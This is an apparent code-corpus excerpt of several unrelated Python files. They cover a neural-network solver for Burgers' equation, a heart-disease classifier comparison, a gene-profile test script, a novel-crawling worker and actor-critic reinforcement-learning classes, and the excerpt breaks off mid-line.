sobol_sequence\r\nimport scipy as sci\r\nimport scipy.io as sio\r\n\r\n\r\nclass one_NN:\r\n \r\n def __init__(self):\r\n pass\r\n \r\n \r\n def model(self, dataset): \r\n self.xu_train = dataset['xu_train']\r\n self.yu_train = dataset['yu_train']\r\n self.xf_train = dataset['xf_train']\r\n self.yf_train = dataset['yf_train']\r\n self.xu_test = dataset['xu_test']\r\n self.yu_test = dataset['yu_test']\r\n self.xf_test = dataset['xf_test']\r\n self.yf_test = dataset['yf_test'] \r\n self.dim = self.xf_train.shape[1]\r\n \r\n \r\n \r\n\r\n \r\n \r\n def xavier_init(self,size): # weight intitailing \r\n in_dim = size[0]\r\n out_dim = size[1] \r\n xavier_stddev = np.sqrt(2.0/(in_dim + out_dim))\r\n #variable creatuion inn tensor flow - intilatisation\r\n return tf.Variable(tf.truncated_normal([in_dim, out_dim], stddev=xavier_stddev,dtype=tf.float64,seed=None), dtype=tf.float64)\r\n\r\n \r\n def DNN(self, X, layers,weights,biases):\r\n L = len(layers)\r\n H = X \r\n for l in range(0,L-2): # (X*w(X*w + b) + b)...b) Full conected neural network\r\n W = weights[l] \r\n b = biases[l]\r\n H = tf.nn.tanh(tf.add(tf.matmul(H, W), b)) # H - activation function? \r\n #H = tf.sin(tf.add(tf.matmul(H, W), b))\r\n #the loops are not in the same hirecachy as the loss functions\r\n W = weights[-1]\r\n b = biases[-1]\r\n Y = tf.add(tf.matmul(H, W), b) # Y - output - final yayer\r\n return Y\r\n\r\n \r\n def training(self, optimizer = 'Adam', num_iter=10001, learning_rate = 5.0e-4): \r\n\r\n \r\n print_skip = 200000\r\n tf.reset_default_graph()\r\n layers = [2]+[10]*8 +[1] #DNN layers\r\n \r\n L = len(layers)\r\n weights = [self.xavier_init([layers[l], layers[l+1]]) for l in range(0, L-1)] \r\n biases = [tf.Variable( tf.zeros((1, layers[l+1]),dtype=tf.float64)) for l in range(0, L-1)]\r\n \r\n \r\n x_u = tf.placeholder(tf.float64, shape=(None,1))\r\n t_u = tf.placeholder(tf.float64, shape=(None,1))\r\n x_f = tf.placeholder(tf.float64, shape=(None,1))\r\n t_f = tf.placeholder(tf.float64, shape=(None,1))\r\n \r\n u_u = self.DNN(tf.concat((x_u,t_u),axis=1), layers, weights, biases) #fractional order - aplha\r\n u_f = self.DNN(tf.concat((x_f,t_f),axis=1), layers, weights, biases)\r\n u_f_x = tf.gradients(u_f,x_f)[0]\r\n u_f_xx = tf.gradients(u_f_x,x_f)[0]\r\n u_f_t = tf.gradients(u_f, t_f)[0]\r\n \r\n \r\n \r\n self.lambda1 = tf.exp(tf.Variable(np.log(1.0),dtype=np.float64, trainable=False))\r\n self.lambda2 = tf.exp(tf.Variable(np.log(0.1),dtype=np.float64, trainable=False))\r\n\r\n\r\n u_obs = self.yu_train\r\n f_obs = self.yf_train\r\n \r\n u_test = self.yu_test\r\n f_test = self.yf_test\r\n\r\n \r\n \r\n f_f = u_f_t + self.lambda1 * u_f * u_f_x - self.lambda2 * u_f_xx \r\n \r\n\r\n \r\n# Nf = f_obs.shape[0]\r\n\r\n \r\n \r\n loss_u = tf.reduce_mean(tf.square(u_u-u_obs))/tf.reduce_mean(tf.square(u_obs))\r\n \r\n\r\n loss_f = tf.reduce_mean(tf.square(f_f-f_obs))\r\n \r\n \r\n loss = loss_f + loss_u\r\n \r\n \r\n feed_dict = {x_u: self.xu_train[:,0:1], t_u: self.xu_train[:,1:2], \\\r\n x_f: self.xf_train[:,0:1], t_f: self.xf_train[:,1:2]\r\n }\r\n \r\n \r\n loss_u_test = tf.reduce_mean(tf.square(u_u-u_test))/tf.reduce_mean(tf.square(u_test))\r\n \r\n \r\n loss_f_test = tf.reduce_mean(tf.square(f_f-f_test))\r\n \r\n loss_test = loss_f_test + loss_u_test\r\n \r\n \r\n feed_dict_test = {x_u: self.xu_test[:,0:1], t_u: self.xu_test[:,1:2], \\\r\n x_f: self.xf_test[:,0:1] , t_f: self.xf_test[:,1:2]\r\n }\r\n \r\n \r\n \r\n \r\n if optimizer == 'Adam':\r\n optimizer_Adam = tf.train.AdamOptimizer(learning_rate)\r\n train_op_Adam = optimizer_Adam.minimize(loss) \r\n\r\n \r\n \r\n loss_train_history = []\r\n loss_test_history = []\r\n loss_f_train_history = []\r\n loss_f_test_history = []\r\n loss_u_train_history = []\r\n loss_u_test_history = []\r\n# err_u_train_history = []\r\n self.err_u_test_history = []\r\n# err_f_train_history = []\r\n# err_f_test_history = []\r\n x_index = []\r\n loss_max = 1.0e16\r\n is_shown = True\r\n with tf.Session() as sess:\r\n sess.run(tf.global_variables_initializer())\r\n \r\n for i in range(num_iter+1):\r\n sess.run(train_op_Adam, feed_dict = feed_dict)\r\n if i % print_skip == 0:\r\n loss_val = sess.run(loss, feed_dict=feed_dict)\r\n if loss_val < loss_max:\r\n loss_max = loss_val\r\n \r\n if is_shown == True: \r\n loss_train_val, loss_f_train_val, loss_u_train_val, self.u_train_val, self.f_train_val \\\r\n = sess.run([loss, loss_f, loss_u, u_u, f_f], feed_dict=feed_dict)\r\n loss_test_val, loss_f_test_val, loss_u_test_val, self.u_test_val, self.f_test_val \\\r\n = sess.run([loss_test, loss_f_test, loss_u_test, u_u, f_f], feed_dict=feed_dict_test)\r\n \r\n# err_u_train = np.linalg.norm(self.u_train_val-u_obs)/np.linalg.norm(u_obs)\r\n# err_f_train = np.linalg.norm(self.f_train_val-f_obs)#/np.linalg.norm(f_obs)\r\n err_u_test = np.linalg.norm(self.u_test_val-u_test)/np.linalg.norm(u_test)\r\n err_f_test = np.linalg.norm(self.f_test_val-f_test)\r\n \r\n loss_train_history.append(loss_train_val)\r\n loss_f_train_history.append(loss_f_train_val)\r\n loss_u_train_history.append(loss_u_train_val)\r\n loss_test_history.append(loss_test_val)\r\n loss_f_test_history.append(loss_f_test_val)\r\n loss_u_test_history.append(loss_u_test_val)\r\n \r\n x_index.append(i)\r\n \r\n print ('***************Iteration: ', i, '************')\r\n print ('error u= ', err_u_test)\r\n print ('error f= ', err_f_test) \r\n print( 'loss_u =', loss_u_train_val)\r\n print( 'loss_f =', loss_f_train_val)\r\n\r\n print ('lambda= ', sess.run([self.lambda1, self.lambda2]))\r\n\r\n \r\n\r\n#\r\n# plt.subplot(1,3,1)\r\n# plt.semilogy(np.stack(x_index), np.stack(loss_train_history),'r.-', label='loss_train')\r\n# plt.semilogy(np.stack(x_index), np.stack(loss_test_history), 'b.-', label='loss_test')\r\n# plt.legend()\r\n# plt.title('Loss history')\r\n# plt.xlabel('Iter. No.')\r\n# plt.subplot(1,3,2)\r\n# plt.semilogy(np.stack(x_index),np.stack(loss_f_train_history),'r.-',label='loss_f_train')\r\n# plt.semilogy(np.stack(x_index),np.stack(loss_f_test_history),'b.-',label='loss_f_test')\r\n# plt.legend()\r\n# plt.subplot(1,3,3)\r\n# plt.semilogy(np.stack(x_index),np.stack(loss_u_train_history),'r.-',label='loss_u_train')\r\n# plt.semilogy(np.stack(x_index),np.stack(loss_u_test_history),'b.-', label='loss_u_test')\r\n# plt.legend()\r\n# plt.savefig('fig/loss_history.png', dpi=1000)\r\n# plt.show()\r\n# \r\n# err_u_train_history.append(err_u_train)\r\n# err_f_train_history.append(err_f_train)\r\n# \r\n# self.err_u_test_history.append(err_u_test)\r\n# err_f_test_history.append(err_f_test)\r\n# \r\n# \r\n# \r\n# plt.subplot(1,2,1)\r\n# plt.semilogy(np.stack(x_index),np.stack(err_f_train_history),'r.-',label='err_f_train')\r\n# plt.semilogy(np.stack(x_index),np.stack(err_f_test_history),'b.-',label='err_f_test')\r\n# plt.legend()\r\n# plt.title('Error history')\r\n# plt.xlabel('Iter. No.')\r\n# plt.subplot(1,2,2)\r\n# plt.semilogy(np.stack(x_index),np.stack(err_u_train_history),'r.-',label='err_u_train')\r\n# plt.semilogy(np.stack(x_index),np.stack(self.err_u_test_history),'b.-', label='err_u_test')\r\n# plt.legend()\r\n# plt.savefig('fig/err_history.png', dpi=1000)\r\n# plt.show() \r\n \r\n \r\n \r\n \r\n \r\nu_simulation = sio.loadmat('burgers.mat')\r\nu_exa = np.real(u_simulation['usol'])\r\nt_exa = u_simulation['t'].reshape((-1,1))\r\nx_exa = u_simulation['x'].reshape((-1,1))\r\n \r\n \r\ndef u_exact(x,t, u_exa, t_exa, x_exa, dim):\r\n if dim == 1:\r\n tt = np.ndarray.flatten(t_exa)\r\n uu1 = np.ndarray.flatten(u_exa[0,:])\r\n uu2 = np.ndarray.flatten(u_exa[-1,:])\r\n f1 = sci.interpolate.interp1d(tt,uu1,kind='cubic')\r\n f2 = sci.interpolate.interp1d(tt,uu2,kind='cubic')\r\n u1 = f1(t)\r\n u2 = f2(t)\r\n return np.array([[u1],[u2]],dtype=np.float64)\r\n elif dim == 2:\r\n t = t*np.ones((x.shape[0],1),dtype=np.float64)\r\n [tt, xx] = np.meshgrid(t_exa,x_exa)\r\n ttt = tt.reshape((-1,1))\r\n xxx = xx.reshape((-1,1))\r\n uuu = u_exa.reshape((-1,1))\r\n return sci.interpolate.griddata(np.concatenate((ttt,xxx),axis=1),uuu, np.concatenate((t,x),axis=1), fill_value = 0.0, method='cubic')\r\n\r\n\r\n\r\ndef f_exact(x,t):\r\n# return 4.0*np.ones((x.shape[0],1),dtype=np.float64)\r\n# return np.zeros((x.shape[0],1),dtype=np.float64)\r\n return np.zeros((x.shape[0],1),dtype=np.float64)\r\n\r\ntt0 = time.time()\r\n\r\nfig = plt.figure()\r\nplt.contourf(np.ndarray.flatten(t_exa[:51]), np.ndarray.flatten(x_exa), u_exa[:,:51], 100, cmap='jet')\r\nplt.colorbar()\r\nplt.xlabel('t')\r\nplt.ylabel('x')\r\nplt.title('1D Burgers\\' equation: Exact solution')\r\nplt.tight_layout()\r\nplt.savefig('C-NN-FW-FIG/Exact-Burgers.png',dpi=1000)\r\n#plt.show()\r\nplt.close(fig)\r\n\r\n#Nu = 300\r\nNf = 2000\r\n\r\n\r\ninit_time = 0.0\r\n\r\ntt, xx = np.meshgrid(np.ndarray.flatten(t_exa[:51]),np.ndarray.flatten(x_exa))\r\n\r\n\r\n\r\nxf_train = sobol_sequence.sample(Nf+1,2)[1:,:]\r\nxf_train[:,0] = -8.0+16.0*xf_train[:,0] # x\r\nxf_train[:,1] = 5.0*xf_train[:,1] # t\r\n\r\n\r\n#xf_test = np.concatenate((x_exa, 8.2*np.ones((x_exa.shape[0],1))),axis=1)\r\nxf_test = np.concatenate((xx.reshape((-1,1)),tt.reshape((-1,1))),axis=1)\r\n\r\nxu_test = xf_test\r\nyf_train = f_exact(xf_train[:,0:1],xf_train[:,1:2])\r\n#yf_train = yf_train+np.linalg.cholesky(previous_cov_mat[:Nf,:Nf])@ np.random.randn(Nf,1)\r\n\r\nxu_train = np.concatenate((x_exa,0.0*np.ones((x_exa.shape[0],1))),axis=1)\r\nxu_train = np.concatenate((xu_train, np.concatenate((-8.0*np.ones((t_exa[:51].shape[0],1)),t_exa[:51]),axis=1)),axis=0)\r\nxu_train = np.concatenate((xu_train, np.concatenate((8.0*np.ones((t_exa[:51].shape[0],1)),t_exa[:51]),axis=1)),axis=0)\r\n\r\n\r\n#plt.plot(xu_train[:,0],xu_train[:,1],'ro',xf_train[:,0],xf_train[:,1],'bo',xf_test[:,0],xf_test[:,1],'go')\r\n#plt.show()\r\n\r\nNt = xf_test.shape[0]\r\n\r\n \r\nyu_train = u_exact(xu_train[:,0:1],xu_train[:,1:2], u_exa, t_exa, x_exa, 2)\r\nyu_test = u_exact(xu_test[:,0:1],xu_test[:,1:2], u_exa, t_exa, x_exa, 2)\r\n\r\nyf_test = f_exact(xf_test[:,0:1],xf_test[:,1:2])\r\n \r\n \r\n \r\ndataset = {'xu_train': xu_train, 'yu_train': yu_train, \\\r\n 'xu_test': xu_test, 'yu_test': yu_test, \\\r\n 'xf_train': xf_train, 'yf_train': yf_train, \\\r\n 'xf_test': xf_test, 'yf_test': yf_test}\r\n \r\n \r\n \r\nNN_instance = one_NN()\r\nNN_instance.model(dataset)\r\nNN_instance.training(num_iter=200001)\r\n \r\nu_pred = NN_instance.u_test_val.reshape(tt.shape) \r\n\r\ndel NN_instance\r\n\r\nfig = plt.figure()\r\nplt.contourf(tt, xx, u_pred, 100, cmap='jet')\r\nplt.colorbar()\r\nplt.xlabel('t')\r\nplt.ylabel('x')\r\nplt.title('1D Burgers\\' equation: Continuous time NN (solution)')\r\nplt.tight_layout()\r\nplt.savefig('C-NN-FW-FIG/C-NN-Burgers-solution-'+str(Nf)+'.png',dpi=1000)\r\nplt.close(fig)\r\n\r\n\r\nfig = plt.figure()\r\nplt.contourf(tt, xx, np.abs(u_exa[:,:51]-u_pred), 100, cmap='jet')\r\nplt.colorbar()\r\nplt.xlabel('t')\r\nplt.ylabel('x')\r\nplt.title('1D Burgers\\' equation: Continuous time NN (absolute error)')\r\nplt.tight_layout()\r\nplt.savefig('C-NN-FW-FIG/C-NN-Burgers-Ab-err-'+str(Nf)+'.png',dpi=1000)\r\nplt.close(fig)\r\n\r\n\r\nnp.savetxt('C-NN-FW-FIG/exact_u.txt', u_exa, fmt='%10.5e') \r\nnp.savetxt('C-NN-FW-FIG/predicted_u.txt', u_pred, fmt='%10.5e') \r\n\r\nu_error = np.linalg.norm(u_exa[:,:51].reshape((-1,1))-u_pred.reshape((-1,1)))/np.linalg.norm(u_exa[:,:51].reshape((-1,1)))\r\nprint('u_error= ', u_error)\r\nnp.savetxt('C-NN-FW-FIG/u_error.txt', [u_error], fmt='%10.5e' )\r\n\r\ntt1 = time.time()\r\n\r\nprint ('CPU time ', tt1-tt0) \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n ","sub_path":"github_code/Continuous_NN_fw_1D_Burgers_equ.py","file_name":"Continuous_NN_fw_1D_Burgers_equ.py","file_ext":"py","file_size_in_byte":14809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"419978859","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split, cross_validate, StratifiedKFold, cross_val_predict\nfrom sklearn.ensemble import RandomForestClassifier, AdaBoostClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import confusion_matrix, roc_curve, auc, make_scorer, accuracy_score, recall_score, plot_roc_curve\nimport seaborn as sns\nimport matplotlib\nmatplotlib.use('Agg')\n\n# read dataset\ndataset = pd.read_csv('./data/heart.csv')\n\n# split dataset\narray = dataset.values\nX = array[:, 0:-1]\nY = array[:, -1]\n\n# make Statisfied K-Fold Crossvalidation\nkfold = StratifiedKFold(n_splits=5)\n\n# Define metrics to evaluate \nmetrics = {'accuracy': make_scorer(accuracy_score),\n 'sensitivity': make_scorer(recall_score),\n 'specificity': make_scorer(recall_score,pos_label=0.0)}\n\n\n# dataframe for saving and presenting results\ntestResults = pd.DataFrame(index = ['accuracy','sensitivity', 'specificity'])\n\n\ndef calcMetrics(classifier):\n # function for calculating the metric for a classifier using K-Fold Cross Validation\n # Metrics calculated are accuracy, sensitivity and specificity (given in metrics dictionary)\n # returns: a list with the mean values for the metrics [accuracy, sensitivity, specificity]\n results = cross_validate(classifier, X, Y, cv=kfold, scoring= metrics)\n print(results) # print results on test set for all folds, as well as training time and score time\n\n\n acc = np.mean(results.get('test_accuracy'))\n sens = np.mean(results.get('test_sensitivity'))\n spec = np.mean(results.get('test_specificity'))\n return [acc, sens, spec]\n\n\ndef rocCurveKFold(classifier, name):\n # function for plotting a roc curve for a given classifier\n # A roc curve is produced for each fold in the kFold, as well as a mean ROC\n # returns: mean false positive rate and false negative rate\n tprs = []\n aucs = []\n mean_fpr = np.linspace(0, 1, 100)\n\n fig1, ax = plt.subplots()\n for i, (train, test) in enumerate(kfold.split(X, Y)):\n classifier.fit(X[train], Y[train])\n viz = plot_roc_curve(classifier, X[test], Y[test],\n name='ROC fold {}'.format(i),\n alpha=0.3, lw=1, ax=ax)\n interp_tpr = np.interp(mean_fpr, viz.fpr, viz.tpr)\n interp_tpr[0] = 0.0\n tprs.append(interp_tpr)\n aucs.append(viz.roc_auc)\n\n ax.plot([0, 1], [0, 1], linestyle='--', lw=2, color='r',\n label='Chance', alpha=.8)\n\n mean_tpr = np.mean(tprs, axis=0)\n mean_tpr[-1] = 1.0\n mean_auc = auc(mean_fpr, mean_tpr)\n std_auc = np.std(aucs)\n ax.plot(mean_fpr, mean_tpr, color='b',\n label=r'Mean ROC (AUC = %0.2f $\\pm$ %0.2f)' % (mean_auc, std_auc),\n lw=2, alpha=.8)\n\n std_tpr = np.std(tprs, axis=0)\n tprs_upper = np.minimum(mean_tpr + std_tpr, 1)\n tprs_lower = np.maximum(mean_tpr - std_tpr, 0)\n ax.fill_between(mean_fpr, tprs_lower, tprs_upper, color='grey', alpha=.2,\n label=r'$\\pm$ 1 std. dev.')\n\n ax.set(xlim=[-0.05, 1.05], ylim=[-0.05, 1.05],\n title=\"Receiver operating characteristic \" + name)\n ax.legend(loc=\"lower right\")\n fig1.savefig('results/rocplot'+name+'.png')\n\n return mean_fpr, mean_tpr\n\n# ------------------ dTree ------------------------\n\n# make classifier\ndTree = DecisionTreeClassifier()\n\n# calculate metrics for Decision Tree and add to dataframe\ndTreemetrics = calcMetrics(dTree)\ntestResults['Decision Tree'] = np.array(\n dTreemetrics, dtype=np.float32)\n\n# make an array with predicted values for the descision tree\n# the array is used to make a confusion matrix\npredDT = cross_val_predict(dTree, X, Y, cv=kfold)\n\n# plot a roc curve for the decision tree\n# save the mean true positive rate and false negative rate\nfpr_dt, tpr_dt = rocCurveKFold(dTree, 'dTree')\n\n\n# ------------------- RF --------------------------\n\nrf = RandomForestClassifier(n_estimators = 50, max_samples=0.5)\n\nrfmetrics = calcMetrics(rf)\ntestResults['Random Forest'] = np.array(\n rfmetrics, dtype=np.float32)\n\npredRF = cross_val_predict(rf, X, Y, cv=kfold)\n\n\nfpr_rf, tpr_rf = rocCurveKFold(rf, 'RF')\n\n# ----------------- AdaBoost ----------------------\n\n\nada = AdaBoostClassifier(base_estimator=DecisionTreeClassifier(max_depth=4), n_estimators = 100, learning_rate=1, algorithm= 'SAMME' )\n\nadametrics = calcMetrics(ada)\ntestResults['AdaBoost'] = np.array(\n adametrics, dtype=np.float32)\n\npredAda = cross_val_predict(ada, X, Y, cv=kfold)\nfpr_ab, tpr_ab = rocCurveKFold(ada, 'AB')\n\n\n# run functions ------------------\n\n# Formate and print results \ntestResults = testResults.T\n\nprint('\\n --Results on test data--')\nprint(testResults)\n\ndef scatterPlot():\n # plot results in scatter plot\n fig, ax = plt.subplots()\n ax.scatter(testResults.sensitivity.values, testResults.specificity.values) \n ax.set_xlim((0.5, 1))\n ax.set_ylim((0.5, 1))\n plt.xlabel('sensitivity')\n plt.ylabel('specificity')\n # ax.legend()\n ax.grid(True)\n\n for i in range(len(testResults.index)):\n ax.annotate(\n testResults.index[i], (testResults.sensitivity.values[i], testResults.specificity.values[i]))\n\n fig.savefig('results/test.png')\n\ndef rocPlot():\n fig = plt.figure()\n plt.plot(fpr_dt, tpr_dt, color='b',\n label=r'Decision Tree (AUC = %0.2f)' % auc(fpr_dt, tpr_dt),\n lw=2, alpha=.8)\n plt.plot(fpr_rf, tpr_rf, color='g',\n label=r'Random Forest (AUC = %0.2f)' % auc(fpr_rf, tpr_rf),\n lw=2, alpha=.8)\n plt.plot(fpr_ab, tpr_ab, color='m',\n label=r'AdaBoost (AUC = %0.2f)' % auc(fpr_ab, tpr_ab),\n lw=2, alpha=.8)\n plt.plot([0, 1], [0, 1], linestyle='--', lw=2, color='r',\n label='Chance', alpha=.8)\n plt.xlabel('False positive rate')\n plt.ylabel('True positive rate')\n plt.title(' Comparison of mean ROC curves')\n plt.legend(loc='best')\n fig.savefig('results/rocplot.png')\n\nrocPlot()\n\n\n#--------- Making the confusion matrices----------#\n\ndef confM(true_y, pred_y):\n # function for making the confusion matrices\n # parameters: \n # y_true: \n # returns: a figure of the confusion matrix\n figmat,ax = plt.subplots()\n data = {'y_Actual': true_y, \n 'y_Predicted': pred_y }\n\n df = pd.DataFrame(data, columns=['y_Actual','y_Predicted'])\n # group_names = [\"True Neg\",\"False Pos\",\"False Neg\",\"True Pos\"]\n mat = pd.crosstab(df['y_Actual'], df['y_Predicted'], rownames=['Actual'], colnames=['Predicted'], margins = True)\n\n #text = np.array([['TN', 'FP', 'AN'], ['FN', 'TP', 'AP'], ['PN', 'PP', 'T']])\n # labels = (np.array([\"{0}\\n{1:.2f}\".format(text,data) for text, data in zip(text.flatten(), mat.flatten())])).reshape(3,3)\n sns.set(font_scale=1.6)\n sns.heatmap(mat, annot=True, fmt='', cmap = \"Blues\") #cbar=False,square=True\n bottom, top = ax.get_ylim()\n ax.set_ylim(bottom + 0.5, top - 0.5)\n ax.tick_params( labelsize=15)\n \n return figmat\n #figmat.savefig('data/confusionMatrix.png')\n\nfigAda = confM(Y, predAda)\nfigAda.savefig('results/confusionMatrixAda.png')\n\nfigDT = confM(Y, predDT)\nfigDT.savefig('results/confusionMatrixDT.png')\n\nfigRF = confM(Y, predRF)\nfigRF.savefig('results/confusionMatrixRF.png')\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"561148370","text":"import numpy as np\n\nfrom PaPr.diff_calssify.ml_search_null import new_null\nfrom PaPr.ml_search.ml_search_copy import MLSearch\n\nfoo = new_null()\nfoo.read_matrix('/home/yangfang/PCSF/clime_roc/all_kegg_matrix_re111.txt')\nfoo.prepare_data()\n# test cluster by clime\n\nfoo.get_no_info_gene('/home/yangfang/PCSF/clime_roc/species111.abbrev.manual_binary.nwk')\nfoo.read_clime('/home/yangfang/PCSF/clime_roc/test_re111/result_all_re111/0_0.txt_0.txt')\n\nprint(foo.clime_index)\nprint(foo.clime_name)\n\n\ninput_x = np.array(foo.profile['EP300'])\ninput_x_index = np.where(foo.profile_names=='EP300')\n\ninput_y = np.array(foo.profile['GTF2H5'])\ninput_z = np.array(foo.profile['GTF2H5'])\ninput_z_index = np.where(foo.profile_names=='CHAT')\n\nfoo.single_to_double()\n\npc = foo.bayes_train()\nprint(pc[0])\nwww = foo.get_each_cluster_pre()\nprint(www)\nfoo.null_by_mean()\nx1 = foo.all_null_p[input_x_index[0][0]]\nx2 = foo.all_null_p[input_z_index[0][0]]\nre = foo.run_bayes_mean_null()\n\nscore1, all_arr, label = foo.bayes_classify_mean_null(input_x)\nscore2, all_arr2, label2 = foo.bayes_classify_mean_null(input_z)\n\n\nimport matplotlib.pyplot as plt\nplt.xlim(xmax=113,xmin=0)\nplt.ylim(ymax=1,ymin=0)\n# plt.plot(range(112),list(reversed(foo.null_x1.tolist())),'ro')\nplt.plot(range(112),sorted(foo.null_x1.tolist()),'ro')\nplt.show()","sub_path":"test/test_search_null.py","file_name":"test_search_null.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"159680409","text":"#!/usr/bin/env python\n# coding=utf-8\nfrom time import sleep\nfrom db import db_session, Link, Book, Chapter, select\nimport crawler\nimport logging\n\n# 5分钟一刷新,爬网页间隔1s\nupdate_cd = 300\nbook_cd = 1\n\nclass Worker(object):\n def run(self):\n while True:\n try:\n self.update_book()\n self.update_chapter()\n sleep(update_cd)\n except Exception as e:\n logging.exception(e)\n\n # 更新书籍列表\n @db_session\n def update_book(self):\n # 用链接表中的项和书籍表比较,新增的加入\n link_list = select(p.link for p in Link)[:]\n book_link_list = select(p.link for p in Book)[:]\n for link in link_list:\n if link not in book_link_list:\n crawler.get_book(link, 'div.btitle>h1')\n sleep(book_cd)\n\n # 更新章节\n @db_session\n def update_chapter(self):\n book_list = select(p for p in Book)\n for book in book_list:\n # 将旧表单和新表单比较,更新新增章节(在set做差过程中乱序,待修改)\n old_list = select(p.link for p in Chapter if p.book == book)[:]\n new_list = crawler.get_chapter_list(book.link, 'td.L>a')\n \"\"\"\n chapter_list = list(set(new_list) - set(old_list)).sort()\n for chapter in chapter_list:\n crawler.get_chapter(chapter, 'dd#contents', 'dd>h1', book)\n sleep(book_cd)\n \"\"\"\n # 直接用新列表比较旧列表,好蠢啊~~\n for chapter in new_list:\n if chapter not in old_list:\n crawler.get_chapter(chapter, 'dd#contents', 'dd>h1', book)\n sleep(book_cd)\n\nif __name__ == '__main__':\n w = Worker()\n w.run()","sub_path":"worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"110561494","text":"# Action value actor critic\nimport tensorflow as tf\nimport tensorflow.contrib.slim as slim\nimport gym\nimport numpy as np\nimport random\nfrom collections import deque\n\nclass ActionValueActorCritic:\n def __init__(self,\n policy_network,\n action_value_network,\n optimizer,\n session,\n num_actions,\n observation_shape):\n self.session = session\n self.policy_network = policy_network\n self.action_value_network = action_value_network\n self.optimizer = optimizer\n self.num_actions = num_actions\n self.observation_shape = observation_shape\n self.discount_factor = 0.99\n self.createVariables()\n var_lists = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES)\n self.session.run(tf.variables_initializer(var_lists))\n\n # make sure all variables are initialized\n self.session.run(tf.assert_variables_initialized())\n\n self.all_rewards = []\n self.max_reward_length = 1000000\n self.memory = deque(maxlen=10000)\n\n\n def getActionValues(self, action_value_outputs, taken_actions, batch_size):\n # converts action value network outputs to list of action values provided the taken_actions\n range_tensor = tf.range(batch_size)\n stacked_taken_actions = tf.stack([range_tensor, taken_actions], axis=1)\n action_values = tf.gather_nd(action_value_outputs, stacked_taken_actions)\n return action_values\n\n def createVariables(self):\n self.states = tf.placeholder(tf.float32, [None, self.observation_shape])\n with tf.variable_scope('policy_network'):\n policy_outputs = self.policy_network(self.states)\n with tf.variable_scope('action_value_network'):\n action_value_outputs = self.action_value_network(self.states)\n \n # sample action variable\n self.predicted_actions = tf.multinomial(policy_outputs, 1)\n \n # policy network loss\n batch_size = tf.shape(self.states)[0]\n self.taken_actions = tf.placeholder(tf.int32, (None,))\n action_values = self.getActionValues(action_value_outputs, self.taken_actions, batch_size)\n cross_entropy_loss = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=policy_outputs, labels=self.taken_actions)\n neg_log_loss = tf.reduce_mean(cross_entropy_loss * action_values)\n \n # action value network loss\n self.rewards = tf.placeholder(tf.float32, (None,))\n self.next_states = tf.placeholder(tf.float32, [None, self.observation_shape])\n with tf.variable_scope('policy_network', reuse=True):\n next_states_policy_outputs = self.policy_network(self.next_states)\n next_predicted_actions = tf.to_int32(tf.squeeze(tf.multinomial(next_states_policy_outputs, 1), [1]))\n with tf.variable_scope('action_value_network', reuse=True):\n next_states_action_value_outputs = self.action_value_network(self.next_states)\n next_states_action_values = self.getActionValues(next_states_action_value_outputs, next_predicted_actions, batch_size)\n target_action_values = self.rewards + self.discount_factor * next_states_action_values\n action_value_loss = tf.losses.mean_squared_error(target_action_values, action_values)\n\n self.policy_network_train_op = self.optimizer.minimize(neg_log_loss, var_list=tf.trainable_variables(scope='policy_network'))\n self.action_value_network_train_op = self.optimizer.minimize(action_value_loss, var_list=tf.trainable_variables(scope='action_value_network'))\n\n def sampleAction(self, state):\n return self.session.run(self.predicted_actions, feed_dict={self.states: [state]}).squeeze()\n\n def updateModel(self, state, action, reward, next_state):\n self.session.run(self.policy_network_train_op, feed_dict = {\n self.states: [state],\n self.taken_actions: [action],\n })\n self.memory.append((state, action, reward, next_state))\n batch_size = min(64, len(self.memory))\n (states, actions, rewards, next_states) = zip(*random.sample(self.memory, batch_size))\n self.session.run(self.action_value_network_train_op, feed_dict = {\n self.states: states,\n self.taken_actions: actions,\n self.rewards: rewards,\n self.next_states: next_states\n })\n\n\n\nclass Actor:\n def __init__(self,\n actor_network,\n optimizer,\n session,\n num_actions,\n observation_shape):\n self.actor_network = actor_network\n self.optimizer = optimizer\n self.session = session\n self.num_actions = num_actions\n self.observation_shape = observation_shape\n\n self.discount_factor = 0.99\n self.createVariables()\n\n\n def createVariables(self):\n self.states = tf.placeholder(tf.float32, [None, self.observation_shape])\n self.td_error = tf.placeholder(tf.float32, [None,])\n self.actions = tf.placeholder(tf.int32, [None,])\n\n with tf.variable_scope('actor_network'):\n actor_outputs = self.actor_network(self.states)\n\n cross_entropy_loss = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=actor_outputs, labels=self.actions)\n neg_log_loss = tf.reduce_mean(cross_entropy_loss * self.td_error)\n\n self.train_op = self.optimizer.minimize(neg_log_loss, var_list=tf.trainable_variables(scope='actor_network'))\n\n self.predicted_actions = tf.squeeze(tf.multinomial(actor_outputs, 1), [1])\n\n def sampleAction(self, state):\n return self.session.run(self.predicted_actions, {self.states: [state] }).squeeze()\n\n def learn(self, state, action, td_error):\n self.session.run(self.train_op, {\n self.states: [state],\n self.actions: [action],\n self.td_error: [td_error]\n })\n\n\nclass Critic:\n def __init__(self,\n critic_network,\n optimizer,\n session,\n num_actions,\n observation_shape):\n self.critic_network = critic_network\n self.optimizer = optimizer\n self.session = session\n self.num_actions = num_actions\n self.observation_shape = observation_shape\n\n self.discount_factor = 0.99\n self.createVariables()\n\n def getQValues(self, critic_outputs, actions, batch_size):\n # converts action value network outputs to list of action values provided the taken_actions\n range_tensor = tf.range(batch_size)\n stacked_taken_actions = tf.stack([range_tensor, actions], axis=1)\n action_values = tf.gather_nd(critic_outputs, stacked_taken_actions)\n return action_values\n\n def createVariables(self):\n self.states = tf.placeholder(tf.float32, [None, self.observation_shape])\n self.actions = tf.placeholder(tf.int32, 